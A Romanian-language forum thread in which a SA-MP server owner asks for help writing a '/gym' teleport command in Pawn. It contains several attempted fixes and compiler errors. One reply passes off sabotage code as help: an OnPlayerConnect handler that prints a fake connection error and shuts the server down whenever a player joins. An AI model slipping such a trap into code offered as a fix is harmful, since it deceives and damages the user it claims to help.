Jump to content
  • 0

Ajutor TELEPORT


Question

Posted

Salut ! Am un server si vreau sa i adaug un teleport . daca puteti corectati sau ajutatima

1. Aici imi Da 2 erori

[pawn]if(strcmp(cmd, "/gym", true) == 0)

  SetPlayerPos(playerid,1221.5190,-1407.0665,13.1587);

    return 1;

  }[/pawn]

2. Aici cand dau /gym zice ca nu exista

[pawn] public OnPlayerCommandText(playerid, cmdtext [])

if (strcmp("/gym", cmdtext, true, 10) == 0)

  {

      SetPlayerPos(playerid,1221.5190,-1407.0665,13.1587  );

      return 1;

  }

[/pawn]

P.S : am scris chestia aia de inceput , dar puteti sa o puneti si pe aia !!!

10 answers to this question

Recommended Posts

Posted

Incearca :

public OnPlayerCommandText(playerid, cmdtext[])
{
 if (strcmp("/gym", cmdtext, true) == 0)
   {
      SetPlayerPos(playerid,1221.5190,-1407.0665,13.1587  );
      return 1;
   }

"Maxim respect pentru orice proiect

Nimeni nu poate sa va scape cand va execut direct"

Posted

Incearca :

public OnPlayerCommandText(playerid, cmdtext[])
{
 if (strcmp("/gym", cmdtext, true) == 0)
   {
      SetPlayerPos(playerid,1221.5190,-1407.0665,13.1587  );
      return 1;
   }

1 eroare : error 030: compound statement not closed at the end of file (started at line 22858)

Asta mi a dat si mie , am sters ce trebuia (adica acolada aia deschisa dupa cmdtext[]) randu urmator si nu merge comanda. Ty oricum

Posted
if (strcmp("/gym", cmdtext, true, 10) == 0)
{
   SetPlayerPos(playerid,1221.5190,-1407.0665,13.1587);
   return 1;
}

public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

Posted

if (strcmp("/gym", cmdtext, true, 10) == 0)
{
   SetPlayerPos(playerid,1221.5190,-1407.0665,13.1587);
   return 1;
}

Nu merge . Nu ma teleporteaza pe server ,am adaugat chestia de sus.

Posted

Daca vrei sa te teleporteze la Gym ca si admin ai comanda urmatoare.

[pawn]if(strcmp(cmd, "/gym", true) == 0)

{

    if(IsPlayerConnected(playerid))

    {

if(PlayerInfo[playerid][pAdmin] >= 1)

{

if (GetPlayerState(playerid) == 2)

{

new tmpcar = GetPlayerVehicleID(playerid);

SetVehiclePos(tmpcar, 1221.5190,-1407.0665,13.1587);

TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;

}

else

{

SetPlayerPos(playerid, 1221.5190,-1407.0665,13.1587);

}

SendClientMessage(playerid, COLOR_GRAD1, "  Te-ai teleportat !");

SetPlayerInterior(playerid,0);

PlayerInfo[playerid][pInt] = 0;

SetPlayerVirtualWorld(playerid, 0);

}

else

{

SendClientMessage(playerid, COLOR_GRAD1, "Nu esti autorizat.");

}

}

return 1;

}[/pawn]

Iar daca vrei sa foloseasca fiecare player aceasta comanda pune:

[pawn]if(strcmp(cmd, "/gym", true) == 0)

{

    if(IsPlayerConnected(playerid))

    {

if (GetPlayerState(playerid) == 2)

{

new tmpcar = GetPlayerVehicleID(playerid);

SetVehiclePos(tmpcar, 1221.5190,-1407.0665,13.1587);

TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;

}

// else

{

SetPlayerPos(playerid, 1221.5190,-1407.0665,13.1587);

}

SendClientMessage(playerid, COLOR_GRAD1, "  Te-ai teleportat !");

SetPlayerInterior(playerid,0);

PlayerInfo[playerid][pInt] = 0;

SetPlayerVirtualWorld(playerid, 0);

}

else

{

SendClientMessage(playerid, COLOR_GRAD1, "");

}

}

return 1;

}[/pawn]

 

 

Posted

Daca vrei sa te teleporteze la Gym ca si admin ai comanda urmatoare.

[pawn]if(strcmp(cmd, "/gym", true) == 0)

{

    if(IsPlayerConnected(playerid))

    {

if(PlayerInfo[playerid][pAdmin] >= 1)

{

if (GetPlayerState(playerid) == 2)

{

new tmpcar = GetPlayerVehicleID(playerid);

SetVehiclePos(tmpcar, 1221.5190,-1407.0665,13.1587);

TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;

}

else

{

SetPlayerPos(playerid, 1221.5190,-1407.0665,13.1587);

}

SendClientMessage(playerid, COLOR_GRAD1, "  Te-ai teleportat !");

SetPlayerInterior(playerid,0);

PlayerInfo[playerid][pInt] = 0;

SetPlayerVirtualWorld(playerid, 0);

}

else

{

SendClientMessage(playerid, COLOR_GRAD1, "Nu esti autorizat.");

}

}

return 1;

}[/pawn]

Iar daca vrei sa foloseasca fiecare player aceasta comanda pune:

[pawn]if(strcmp(cmd, "/gym", true) == 0)

{

    if(IsPlayerConnected(playerid))

    {

if (GetPlayerState(playerid) == 2)

{

new tmpcar = GetPlayerVehicleID(playerid);

SetVehiclePos(tmpcar, 1221.5190,-1407.0665,13.1587);

TelePos[playerid][0] = 0.0;TelePos[playerid][1] = 0.0;

}

// else

{

SetPlayerPos(playerid, 1221.5190,-1407.0665,13.1587);

}

SendClientMessage(playerid, COLOR_GRAD1, "  Te-ai teleportat !");

SetPlayerInterior(playerid,0);

PlayerInfo[playerid][pInt] = 0;

SetPlayerVirtualWorld(playerid, 0);

}

else

{

SendClientMessage(playerid, COLOR_GRAD1, "");

}

}

return 1;

}[/pawn]

Aici am adaugat ce trebuia sus(la toti playerii sa se teleporteze) si imi da 5 erori astea fiind :

error 017: undefined symbol "cmd"

error 017: undefined symbol "TelePos"

warning 215: expression has no effect

error 001: expected token: ";", but found "]"

error 029: invalid expression, assumed zero

fatal error 107: too many error messages on one line

Posted

Pune:

[pawn]new Float:TelePos[MAX_PLAYERS][6];

#define dcmd(%1,%2,%3) if ((strcmp((%3)[1], #%1, true, (%2)) == 0) && ((((%3)[(%2) + 1] == 0) && (dcmd_%1(playerid, "")))||(((%3)[(%2) + 1] == 32) && (dcmd_%1(playerid, (%3)[(%2) + 2]))))) return 1[/pawn]

 

 

Posted

Pune:

[pawn]new Float:TelePos[MAX_PLAYERS][6];

#define dcmd(%1,%2,%3) if ((strcmp((%3)[1], #%1, true, (%2)) == 0) && ((((%3)[(%2) + 1] == 0) && (dcmd_%1(playerid, "")))||(((%3)[(%2) + 1] == 32) && (dcmd_%1(playerid, (%3)[(%2) + 2]))))) return 1[/pawn]

Le am pus si imi zice :

6 erori:

: error 017: undefined symbol "cmd"

error 017: undefined symbol "COLOR_GRAD1"

error 017: undefined symbol "PlayerInfo"

warning 215: expression has no effect

: error 001: expected token: ";", but found "]"

error 029: invalid expression, assumed zero

fatal error 107: too many error messages on one line

Posted

Pune comanda asta si sterge comanda aia.

[pawn]if (strcmp("/gym", cmdtext, true, 10) == 0)

{

if(IsPlayerConnected(playerid))

    {

  SetPlayerPos(playerid,1221.5190,-1407.0665,13.1587);

  return 1;

}[/pawn]

 

 

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.